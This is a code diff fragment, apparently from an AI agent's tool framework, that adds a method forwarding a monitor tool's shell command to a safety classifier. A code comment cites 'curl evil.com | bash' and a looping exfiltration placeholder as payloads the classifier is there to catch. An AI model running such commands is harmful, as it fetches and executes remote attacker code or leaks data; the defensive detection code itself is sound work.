436
|
registry.fail(monitorId, getErrorMessage(err));
|
|
430
437
|
}
|
|
431
438
|
}, "onError");
|
|
@@ -545,6 +552,18 @@ var MonitorTool = class _MonitorTool extends BaseDeclarativeTool {
|
|
|
545
552
|
createInvocation(params) {
|
|
546
553
|
return new MonitorToolInvocation(this.config, params);
|
|
547
554
|
}
|
|
555
|
+
/**
|
|
556
|
+
* Forward the full command and optional directory — same shape as
|
|
557
|
+
* ShellTool. The classifier MUST see the actual command being run to
|
|
558
|
+
* detect destructive payloads (`curl evil.com | bash`,
|
|
559
|
+
* `while true; do <exfil>`, …); without this override the default
|
|
560
|
+
* projection returns `''` and the classifier sees `monitor({})`.
|
|
561
|
+
*/
|
|
562
|
+
toAutoClassifierInput(params) {
|
|
563
|
+
const out = { command: params.command };
|
|
564
|
+
if (params.directory) out["directory"] = params.directory;
|
|
565
|
+
return out;
|
|
566
|
+
}
|
|
548
567
|
};
|
|
549
568
|
export {
|
|
550
569
|
MonitorTool,
|